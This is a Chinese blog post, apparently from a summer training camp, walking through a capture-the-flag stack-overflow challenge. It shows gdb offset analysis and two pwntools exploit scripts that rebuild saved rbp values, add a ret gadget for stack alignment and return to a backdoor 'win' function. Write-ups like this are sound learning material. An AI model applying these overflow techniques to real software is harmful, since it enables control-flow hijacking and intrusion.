暑期集训经典栈溢出

checksec看保护:NX
ida看一下

(这是main函数)

func1()

func2()

func3()

func4()

func5()

先静态分析一波:

进到func5()之后系统会给一个起始地址,从这个地址开始输入,判断一下rbp指的地址有没有被改掉,被改掉就fail了,而很直观的看出buf有溢出漏洞,程序中又有后门函数win,所以就将返回地址覆盖成win就可以了。因为func1-5中间基本上都会判断rbp是否改变,所以我们不妨让程序正常执行返回到main函数后将main那里的返回地址覆盖。
然而,如果我们像之前一样只是简单的用字母覆盖,必然会导致rbp指向的地址改变,所以我们需要在构造payload时恢复rbp,这就需要我们计算出各函数返回地址所在位置相对于起始地址的偏移,可以通过gdb调试找到:

gdb调试

看到各函数rbp指针及返回地址,打勾处为main的rbp,下面即为我们win要覆盖的地址

wp
from pwn import *

context(log_level='debug', arch="amd64", os='linux')

#p=remote("127.0.0.1",40731)
p = process("./flock")

win_addr = 0x4011b9

p.recvuntil(b'Song Begins At ')
buf = p.recvline().strip()   #接收地址并删去换行符
buf = int(buf, 16)           #转成16进制整型

#log.info(f"Address in hexadecimal: {buf}")   #输出出来看看是不是我们想要的(嗨嗨发现不是【微笑】)

buf1 = hex(buf +0xa0)         #就这样转来转去的也不知道在转什么
buf2 = hex(buf +0xc0)
buf3 = hex(buf +0xe0)
buf4 = hex(buf +0xf0)


payload = b'A'*0x80 + p64(int(buf1,16))+p64(0x401276)+ b'A'*0x10 + p64(int(buf2,16))+p64(0x4012A0)+b'A'*0x10 + p64(int(buf3,16))+p64(0x4012CA)+b'A'*0x10 + p64(int(buf4,16)) + p64(0x4012F0) +b'A'*0x8+ p64(0x0000000000401016 ) + p64(win_addr)
#0x0000000000401016是ret的gadget,用来平衡栈
gdb.attach(p)
pause()

p.sendline(payload)

p.interactive()

注:
1.上述0x401276等在ida上就能看到,恢复完rbp记得还要恢复返回地址,最后main的rbp无需恢复,覆盖即可。
2.一开始没有平衡栈(rsp0x10对齐),会出现下面这样(执行不下去的地方)


这里我们看到rsp没有0x10对齐,所以加一个ret来平衡栈,加完之后就可以了。

3.在算偏移之前要先把地址接收进来,python转16进制地址真的很让人费解()

后记:这样转16进制也行!!!!!【激动】【欢呼】(从上次做的ret2libc脚本里面找到的方法!)

from pwn import *

context(log_level='debug', arch="amd64", os='linux')

#p=remote("127.0.0.1",40731)
p = process("./flock")

win_addr = 0x4011b9

p.recvuntil(b'Song Begins At ')
buf = p.recvline().strip()
buf = int(buf, 16)

#log.info(f"Address in hexadecimal: {buf}")

buf1 = buf +0xa0
buf2 = buf +0xc0
buf3 = buf +0xe0
buf4 = buf +0xf0

print(hex(buf1))
print(hex(buf2))
print(hex(buf3))
print(hex(buf4))


payload = b'A'*0x80 + p64(buf1)+p64(0x401276)+ b'A'*0x10 +p64(buf2)+p64(0x4012A0)+b'A'*0x10 + p64(buf3)+p64(0x4012CA)+b'A'*0x10 + p64(buf4)+ p64(0x4012F0) + b'A'*0x8 + p64(0x0000000000401016 ) + p64(win_addr)

gdb.attach(p)
pause()

p.sendline(payload)

p.interactive()

总之能学到东西就好【双手合十】【神态安详】

posted @ 2024-07-16 15:13  V1V0  阅读(4)  评论(0编辑  收藏  举报